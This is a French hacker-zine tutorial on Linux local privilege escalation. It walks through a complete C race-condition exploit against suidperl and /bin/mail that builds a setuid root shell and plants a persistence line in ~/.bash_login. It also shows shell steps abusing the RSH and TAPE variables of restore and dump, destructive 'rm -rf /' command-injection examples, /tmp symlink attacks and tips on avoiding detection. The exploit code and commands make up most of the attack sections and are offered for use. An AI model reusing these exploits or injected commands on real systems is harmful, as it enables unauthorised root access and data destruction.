........................................................................................................................................
[- Introduction aux Exploits sous Linux... Race condition + Variable d'environement par SAURON -]
.........................................................................................................................................

Salut,
 

Il y a plusieurs choses qui me motive pour ecrire cet article, deja, apprendre a ceux qui s'y interesse, ce que
sont reelement les trous de securite dans un Os donnees, au dela meme du simple lancement de l'exploit. ( et meme des fois sur plusieurs Os - le buffer overflow par exemple - ). Comme le dit tres bien SorceRy dans son article de
Noroute #1 qui m'a fait decouvrir la securite plus en profondeur et qui m'a reelement motiver a rechercher, coder, et expliquer des failles, le Hacking ce n'est pas passer root en remarquant que telle programme vulnerable est present et en lancant l'exploit choper sur le net, c'est justement ecrire cet exploit. Si il existe deja, alors tant mieux, mais le but n'est pas de passer root. Cet article ne s'adresse pas uniquement au debutant ( il faut un minimum de base en C et d'Unix pour suivre cette article ) mais a toute personne interesser par les race condition et l'utilisation de variable d'environnement pour acquerir des privileges superieur au notre. Au lieu de théoriser tout cela, on va voir son exploitation en pratique a travers deux failles, la race condition de /bin/su tres repandut, et la faille de restore et dump de la redhat 6.x du a certaine variable ainsi que les faille du de /tmp et celle du au metacharacter pour changer. J'espere que cet article vous sera instructif.

.... Race condition :

Comme son nom l'indique, les "race condition" sont une courses contre le systeme pour profiter d'un instant ou il est vulnerable. Bien que cela paraisse plus compliquer, l'ecriture d'un exploit de ce type n'est pas difficile, l'important etant surtout de reussir a creer cette condition, ou de trouver ce moment ou il est vulnerable. Dans le cas de cet exploit, nous creons nous meme la race condition, mais il s'agit parfois d'exploiter une action qui va se passer a un moment precis comme parfois l'execution d'une commande par cron avec les privileges root ( par exemple la supression d'un fichier )... En pratique tout est plus clair :
Cette fois je m'attaque au mythique /bin/Mail. Non pas que cette faille manque egalement de documentation, mais plutot pour expliquer le principe. En reflechissant bien, il n'existe pas tant de type de faille que ca.. Je veux dire que les failles se divisent en 3 ou 4 groupes et que tous les exploits qui existent decoulent de cela. Imaginer par
exemple que tous les langages de programmation serait secure et qu'il ne serait pas possible de
depasser la capacite d'un buffer... Le nombre des exploit diminuerait enormement.
J'ai deja ecrit un article sur les buffer overflow, les variables
d'environnement, maintenant penchons nous sur l'obtention du root dans des conditions
bien specales....Apres on verra les failles du au fichier
root dans un repertoire ou un simple user a un acces ( son HomeDir, /tmp... ).
Chez moi, il semblerai que les conditions du suidperl soit reunit pour creer les conditions pour
exploiter Mail mais l'exploit fourni par l'auteur ne marche pas..
De quoi me blasé. Ce qui est egalement une des raisons de cette article.
De plus la faille est interessante, tout autant que la maniere de l'exloiter...
Examinons donc le code. Bon deja faut que vous verifiez si vous votre Box est vulnerable...
$ find /usr/bin -user root -perm +a=s | ( grep suidperl && grep passwd )
/usr/bin/suidperl
/usr/bin/passwd  # ou n'importe quel file +a=s et -user root
Bon la c'est bon, il sont tout les deux suid root. Si la faille est la, on sera root :)
    Il semblerait qu'il y est plusieurs chose a faire avant que la condition du race soit reunit.
Comme d'habitude lorsque qu'on detourne un programme pour lui faire passer Une et Une seule commande setuid/gid,
il va falloir creer un script shell qui, si tout marche, sera executer en root
et executera les commandes suivantes : chown root.root RootShell ; chmod 6755 RootShell, ce qui a
pour effet de mettre des proprietes root au fichiers, donc de creer un RootShell executable par un
simple user... :) Donc je creait mon fichier Rootshell ( cp /bin/sh ~/RootShell ) et mon fichier
createRS, n'oubliez pas de mettre #!/bin/sh au debut de createRS et de lui attribuer des propriete
d'execution ( chmod +x createRS ).
    Maintenant on a quelque variable d'environnement a modifier :
$ FILENAME='hum
$ ~!createRS                           # Ce que /bin/mail va executer en root !
$ ';
$ export interactive = 1               # Necessaire pour la condition du race.
$ export PATH=.:$PATH                  # La on rajoute le rep. courant dans $PATH.
La variable interactive est celle qui est appele lorsque /bin/mail vaut avertir le root. C'est
grace a cela que l'on va pouvoir passer des commandes root. C'est la qu'on comprend que notre Exploit
va etre en deux "parties", a savoir celle qui va creer la condition ( pour cela on utilises suidperl ou
n'importe quel binaire du root setuid et gid qu'un simple user peut lancer, ex :  passwd ), et
ce qu'il faut faire pour exploiter le moment ou le systeme est vulnerable. Dans cette faille c'est simple,
nous devons modifié la valeur de la variable d'environnement FILENAME pour pouvoir lancer un de nos binaire avec
les memes privileges ( le processus pere donne ses droits d'execution au processus fils).
Vous pouvez essayer avec un autre programme vous verrez, il faut juste modifier la
valeur de PATH pour un autre binaire repondant a find -user root -perm +a=s.. ( je parle de PATH de #define PATH
dans le code source de l'exploit et non de $PATH..).
Reprenons...
Encore une petite chose a faire et c'est bon.. Il faut creer un fichier qui lors de son execution
affiche :
          print"Sauron respect Sebastian & Marchew Industries for discovered this hole\n"; par exemple,
nous l'appelerons 'cmd'.
et bien sur (pour suidperl avec #!/bin/suidperl sinon suidperl n'intervient pas et le race ne se fera pas);
On ne pe pas rajouter un petit echo devant et le mettre dans un file executable car les "" ne seront
pas restituer et comme il s'agit de Perl, il ne faut pas les negliger.
Voila c'est bon,toute les conditions sont reunies. Il ne reste plus qu'a creer les conditions
dans laquelle l'exploitation de la faille va etre possible. Il faut environ quelques minutes ( selon
l'auteur de l'exploit originaire ) pour que ~/RootShell soit bien un RootShell. On creait un
dernier petit script shell qui s'occupera d'attendre pour nous et de nous donner le RootShell
des que possible :))... Voici l'exploit que j'ai programmer en C pour cette faille.
Pour voir le script qui crait la faille lancer l'exploit puis stoper le et regarder /tmp/.racexe
Il s'agit d'utiliser nice avec la variable $filename linker avec notre cmd. En jonglant avec le link de cette
variable alors que nice tourne en memoire ( & ) on crait la condition :)
Selon les capacite de la machine, on y parvient plus ou moins vite, il vous suffit de rajouter des fork(); apres le
while(1) si ca ne marche pas apparament chez vous... Mais il arrive que trop de fork dans une boucle continut crash la machine si on peut plus l'arreter ! Soyez prudent donc...

----|> Exploit.c

       #define PATH  "/usr/bin/suidperl" /* A modifier eventuellement */
       #define RootShell  "/tmp/.RootShell" /* Notre futur Root-Shell */
       #define Exerace  "/tmp/.racexe" /* Pour creer la faille */
       #define TMPFILE "/tmp/createRS" /* Fichier a executer en root */
       #define FLARE "/tmp/cmd"
       #define FLaRE "/tmp/cmd2"
       #define ln "/bin/ln"
       #define perl  "/usr/bin/perl"
       #define nice "/bin/nice"
       #include <stdio.h>
       #include <sys/stat.h>
        struct stat mod1,mod2;
        FILE *suidexec;
       main(){
        printf("[*]Exploit par Sauron\n");
        if(stat(ln,&mod1)){
        printf("Modifie le Path de ln dans les sources...(whereis ln)");
        }
        if(stat(perl,&mod1)){
        printf("Modifie le Path de perl dans les sources...(whereis perl)");
        }
        if(stat(nice,&mod1)){
        printf("Modifie le Path de nice dans les sources...(whereis nice)");
        }
        if(stat(PATH,&mod1)){
         printf("Desoler toto t'as pas suidperl change PATH...\n");
         exit(0);
         main();
        }
        else
        printf("[1]-Suidperl present sur cette Box.. OK!\n");
        printf("[2]-Creation des fichiers temporaires :\n");
        suidexec=fopen(TMPFILE,"w");
        fprintf(suidexec,"#!/bin/sh\n");
        fprintf(suidexec,"cp /bin/sh %s\n",RootShell);
        fprintf(suidexec,"chown root.root %s\n",RootShell);
        fprintf(suidexec,"chmod 06755 %s\n",RootShell);
        fclose(suidexec);
        chmod(TMPFILE,04700);
        printf("OK!\n");
        suidexec=fopen(FLARE,"w");
        fprintf(suidexec,"#!%s\n", PATH);
        fprintf(suidexec,"print \"Smoke!\";\n");
        fclose(suidexec);
        chmod(FLARE,04700);
        printf("OK !\n");
        suidexec=fopen(FLaRE,"w");
        fprintf(suidexec,"#!%s\n", PATH);
        fprintf(suidexec,"print \"Smoke!\n\";\n");
        fclose(suidexec);
        chmod(FLaRE,04700);
        printf("[2]-(3/4) Preparation des conditions de l'exploit...\n");
        suidexec=fopen(Exerace,"w");
        fprintf(suidexec,"#!/bin/sh\n");
        fprintf(suidexec,"filename='foo ~!createRS ';\n");
        fprintf(suidexec,"interactive=1\n");
        fprintf(suidexec,"export PATH=/tmp:$PATH\n");
        fprintf(suidexec,"/usr/bin/perl -e'unlink($filename);'\n");
        fprintf(suidexec,"/bin/ln -f -s \"$filename\" /tmp/cmd\n");
        fprintf(suidexec,"/bin/nice -20 \"$filename\">/dev/null &\n");
        fprintf(suidexec,"/usr/bin/perl -e'unlink($filename);'\n");
        fprintf(suidexec,"/bin/ln -f -s \"$filename\" /tmp/cmd2\n");
        fprintf(suidexec,"/bin/nice -20 \"$filename\">/dev/null &\n");
        fclose(suidexec);
        chmod(Exerace,04700);
        printf("OK!\n");
        printf("[3]- On fait executer createRS en setuid et guid.\n");
        printf("[4] Patience maintenant ! \n");
 fork();
 fork();
 fork();   /* En voici un bon nombre ! */
 fork();
        while(1) { /* On lance en boucle pour creer le race */
        system("/tmp/.racexe >> /tmp/ae58dsdfx2");
        if(stat(RootShell,&mod2)){
        }
        else if(mod2.st_mode==06775){ /* Quand le shell est root on le lance et quitte l'exploit :) */
        system("rm -f /tmp/foo* /tmp/createRS /tmp/cmd* /tmp/ae58dsdfx2");
        printf("OK ! %s est setuid et guid :).\n",RootShell);
        printf("Ton shell est desormais root !\n");
        printf("Fais mv /tmp/.RootShell ~/yeah si tu veux garder ce shell root a l'avenir ... \n");
        system("/tmp/.RootShell && echo Coded by Sauron && echo ./yeah >> ~/.bash_login"); /* Et on se la pete */
        exit(1);
        }
       }
       }
----|> End of Exploit.c

Et voila. En fait dès que createRS est lancer avec les propriete root, il met des permissions +u=s a
~/RootShell. Celui ci est surveiller par la boucle continu while et le if [ -u ~/RootShell ] pour
etre executer des qu'il est root. Le temps d'attente est du au fait que /bin/Mail ne notifie pas le
root sur le coup, faut laisser le temps au reste de script de creer la condition.
Je tient a preciser que cette faille etait deja presente sur les RedHat 5.2 !! Je ne sais
pas quand elle a ete decouverte mais c'est clair que Red Hat aurait pu faire un effort pour
ne pas qu'on la retrouve. La plupart des distribution ( toutes ? ) sont vulnerables a cette
faille... En ecrivant cette article je me suis appercu que il y a deux version de l'exploit.
Un en script sh qui ne marche nul part ( celle que j'avais ) et un en perl ( hack.pl ).
L'exploit en perl fonctionne mais je n'en avais pas  connaissance au moment ou j'ai ecrit cet article,
et de toute facon il laisse trop de trace dans /tmp, ce qui vous fait du boulot en plus des fois que le
vrai root irait jeter un coup d'oeil... Bon, j'espere que vous avez desormais une idee precise de ce qu'est
une race condition et de son exploitation. Je vous conseille de parcourir quelque source ou documentation sur des
exploits utilisant une race condition pour avoir une plus vaste idee des differentes failles qui peuvent exister.

.... Variable d'environement :

    On va maintenant passer au faille du au variable d'environnement qu'utilisent des programmes suid :
Le but n'est pas tant de vous instruire a propos de cette faille mais sur les
moyens en generals d'outrepasser la securite du systeme et de passer administrateur sans ce faire
remarquer. Dans cette faille, il est ainsi aisé de passer root.
Cette faille consiste en fait a faire executer un de nos executables a un programmes qui a des privileges root :)
.Pour cela plusieurs moyens, par exemple si un programme appel un programme via, system("prog") et non en faisant system("/bin/prog"), il
sera facile de modifier la valeur de $PATH par /tmp, et de mettre un executable nommer prog
dans /tmp, qui sera alors executer :) Dans cette article, on va s'y prendre autrement mais cela revient au meme.
En effet certain programme, tel que restore ou dump, font appel a des variables d'environnement pour connaitre le
programmes a lancer. Variables que l'on peut modifier. Voila, vous avez piger le truc. Voyons la pratique.
Cette article donne une approche d'une
des manieres qu'il existe pour exploiter un systeme. J'ai ecrit d'autre article sur d'autre moyen d'outrepasser
la securite, par exemple les "Buffer Overflow",  ou encore les failles du au trop grande permission d'acces
de /tmp et au fait que des programmes de permissions differentes y deposent des fichiers...Mais nous resterons
pour le moment a celle que creait les permissions des variable d'envirronement. Plus generalement nous
exploiteront le fait que les processus fils garde les propriete des processus pere pour lancer un de nos
executable et prendre le contrôle de la Box.
Par ailleurs le but de cette article est de donner des precision sur cette faille, qui est tres tres mal
documente, pour preuve : il parle de buffer overflow sur Bugtraq alors que ce n'est pas du tout le cas.
Comme vous vous en doutez, restore est un programme qui se lance avec des privileges root, et que les
simple user peuvent lancer. Je vous explique comment exploiter restore :
Il vous suffit de modifier deux variable d'environnement :
*TAPE : il faut lui attribuer la valeur ":" ( export TAPE=:)
*et RSH, qui est nettement plus interessante car son contenue sera executer avec les privileges root.
Ainsi si RSH execute un de vos executable, il sera lancer avec les privileges root:))
Comme tout le monde a acces au repertoire /tmp, on va placer notre executable qui sera lancer la dedanns..

Demonstration :
 

$ find /sbin -user root -perm +a=s
/sbin/netreport
/sbin/dump
/sbin/restore
/sbin/dump.static
/sbin/restore.static
/sbin/pwdb_chkpwd
/sbin/unix_chkpwd
$ export TAPE=:
$ export RSH=/tmp/Ell33T
$ echo chown root.root ~/Hacker >> /tmp/Ell33T   # Pour que mon shell soit root je dois lui donner ses propriete...
$ echo chmod 6775 ~/Hacker >> /tmp/Ell33T
$ echo rm -f /tmp/Ell33T >> /tmp/Ell33T
$ cp /bin/sh ~/Hacker
$ chmod +x /tmp/Ell33T       # Tout est pres pour le lancement de restore...
$ echo RoooooottT | restore -R 1>/dev/null 2>&1    # Vous pouvez remplacez cette ligne par $ dump -0 /
$ cd
$ ./Hacker                              # Je lance mon RootShell
# whoami                             #* Qui suis-je ? *
root
# echo C'est trop facile :)

Et voila le boulot.. :))

A partir de ma demonstration vous pouvez faire un script sh qui l'exploitera par exemple.
Vous auriez tout autant pu faire : $ export TAPE=: && export RSH="rm -rf /" && echo lame | restore -R 1>/dev/null 2>&1,
ce qui aurait eu pour effet de formater le systeme de maniere discrete... Mais ceux qui font ca ne sont pas des
Hackers mais des Crackers ou des Lamers... L'exemple etait juste pour confirmer la theorie ...
Vous pouvez egalement essayez avec dump, ca marche aussi et de la meme maniere :)
Cette faille, c'est rpc le premier a l'avoir trouver et il a fourni un exploit en C pas mal fait mais tres peu clair alors que l'exploit est des plus simple...voila. J'espere vous avoir eclairci. restore est sur pas mal de systeme et je suppose que la RedHat 6.2 n'est pas la seul a le proposer par default.

.... Overwriting :

Et en plus vous avez un BONUS...
voici une choses interessantes et toujours avec dump ( tant qu'on y est... ) :

$ yo=AAA ( Je continue avec A x 594 :)
$ dump -fa $yo
DUMP: SIGSEGV: ABORTING!
Segmentation fault

Bien qu'en realite cette faille ne soit pas exploitable, vous voyez que l'on peut creer des buffers overflows en surchargant une variables d'environement, ainsi meme si elle n'a pas le role de RSH, qui indique un programme a exploiter en suid root ( trop simple ), vous pouvez utiliser une variable qui sera utiliser pour creer un debordement de la capacite du buffer et reecrire certains registres ( %eip ou la section .dtors par exemple ). Il ne suffit bien sur pas de donnees une valeure tres grande au variable qui sont utilisees, il faut qu'il y est une erreur de programmation dans le programme comme par exemple : strcpy(buffer, getenv(variable));.
Les possibilite d'exploitations d'appels a des variables sont donc grandes. Un autre type de faille classique, est un appel indirecte a la variable $PATH, lors d'un appel system(); Si le programme fait system(prog); alors il est aisee de modifier $PATH pour le faire pointer dans /tmp ou dans $HOMEDIR et de creer un binaire du nom de 'prog' qui sera executer a la place de l'autre ( Fyodor a ecrit un bon article a ce sujet dans Phrack il me semble ). Voila pour cette fois ci. C'est volontairement que je ne traite pas des buffer overflows car il existe deja beaucoup de bon article a ce sujet, et ca n'aurait eu que tres peu d'interet d'en faire une repetition. Personellement je vous conseille trois textes a ce sujet :
[1] Le premier est la traduction est Francais de l'excellent article de Aleph One sur les bo
[2] Le deuxieme est le complement de Seb pour exploiter de petit buffer ( utile !)
[3] Le troisieme est la traduction de l'article de Juan M. Bello Rivas que j'ai faite sur l'ecrasement de la section .dtors, comme j'y est fait allusion plus haut. Cette technique peu connut permet d'exploiter un programme sans perturber son deroulement mais en lui faisant simplement executer un shellcode en plus.. ce qui est tres discret. Mais son principale avantage reside dans le fait que l'on peut desormais exploiter des buffers qui ont ete entrer en memoire avant que soit sauvegarder IP ( dans %eip )  ou l'adresse de la fin de la memoire dans SP ( %esp ). Ainsi meme si on ne peut pas reecrire l'adresse de retour d'une fonction en exploitant un buffer overflow, on peut cependant faire pointer le programme avec ses permissions vers un de nos bout de code ( un shellcode donc ) apres que la fonction est passer l'overflow et terminer le programme :) Ainsi on pourait par exemple reecrire l'exploit dit inexploitable de dump -fa + 596 characteres ou un truc comme ca en lui faisant modifier .dtors ! Voila,
comme ca a partir du moment ou on peut ecrire en memoire a cause d'une faille quelquonque ( format string, bo, faille glibc etc. ), on a plus de chance de pouvoir s'en servir pour exploiter un programme...
Vous trouverez ces trois document sur le site de OUAH chez multimania :)
 
.... /tmp Hole :

    Bon et comme je me sens obliger de vous parler des failles de /tmp dans un article comme celui ci, voyons vite fait comment elles sont creer. En fait la faille reside dans le fait que un simple user puisse effacer un fichier du root, qui sera recreer par la suite par le meme user, ou par un processus avec ces droits :)
Si vous avez acces a un repertoire en ecriture, et que un prog suid y stock des fichiers, alors vous pouvez profiter des permissions d'acces etendu pour effacer le fichier root, linker un fichier avec celui que vous avez effacer, et attendre qu'il soit creer a nouveau par le processus root, comme ca, avec le linkage le fichier vers lequel vous l'aurez link auparavent aura ete ecraser.... C'est ce qui se proquit lorsque l'on voit par exemple des fichiers root en chmod 777 dans /tmp. A chaque fois c'est une faille. Exemple :
$ find /tmp -user root -perm 777
/tmp/.font-unix/fs-1
/tmp/.X11-unix/X9
(...)
et voila, deja une faille de decouverte, ensuite en regardant des propriete etendu pour un simple user, on trouve d'autre repertoire comme .esd ( esound ) etc.... Vous avez du comprendre le principe de cette faille la, comme vous le voyez c'est simple de rechercher des faille, apres faut il qu'elle n'est pas ete deja ete decouverte =)

.... MetaChararcter :

    Une autre grande source de faille est l'utilisation des MetaCharacters, ce qui est a l'origine de beaucoup de faille cgi, des failles de scripting associe a des bases de donnees comme Mysql et php par exemple. Ou meme des appels au shell. Par exemple si un programme vous demande votre prenom pour l'entrer dans une base de donnees, il va stocker votre nom dans une variable puis la passer en argument a la base de donnees via le shell. Par exemple si je rentre "sauron", il execute "mysql assuser sauron" ( j'invente la commande mais ca revient a ca en somme ). Le shell Unix separe des commandes par le Metacharacter ";" si je rentre comme prenom : "sauron;rm -rf /"; la commande qui sera passer pour ajouter mon prenom sera : mysql adduser sauron;rm -rf / , soit deux commandes en une lignes donc une de nos commandes. Ensuite celon les privileges du programme que vous exploitez pour le forcer a faire vos commandes en plus vous aurez un acces plus ou moins grand. La meme chose peut se produire lors de l'appel d'un programme par une application telle que un client irc. Je pense a xchat qui appelle pleins de navigateurs avec en argument les url balancer sur un forum de discussion. Si vous balancez une url de type www.monsite.org;rm%20-rf%20~ ( les %20 remplacent les espaces ), et que l'utilisateur de xchat veut visiter ce site avec netscape en mode "Nex Windows", alors la commande passer au shell sera :
netscape <url> et comme votre url contient le metacharacter ; ce qui suit sera executer comme une seconde commande...
Les nouvelles versions de xchat ne sont pas vulnerable mais de toute facon le but etait seulement de vous initier au faille que peuvent constituer l'utilisation de metacharacters.
Toujours pareil, en cas de doute, question, commentaire : sauron@unix-labs.com :)
Vous pouvez me trouver sur IRC : eu.undernet.org #linux-fr #npk #securiweb

Sauron.

ps: j'ai vu sur securityfocus un buffer overflow avec la variable $buf lorsque l'on lance ping est demandant sa version..
ok je veux bien, mais c'est quoi l'option pour voir la version de ping ???? Et pourtant il disait que la faille etait egalement sur mon systeme. huh ?
..............................................................................................................................................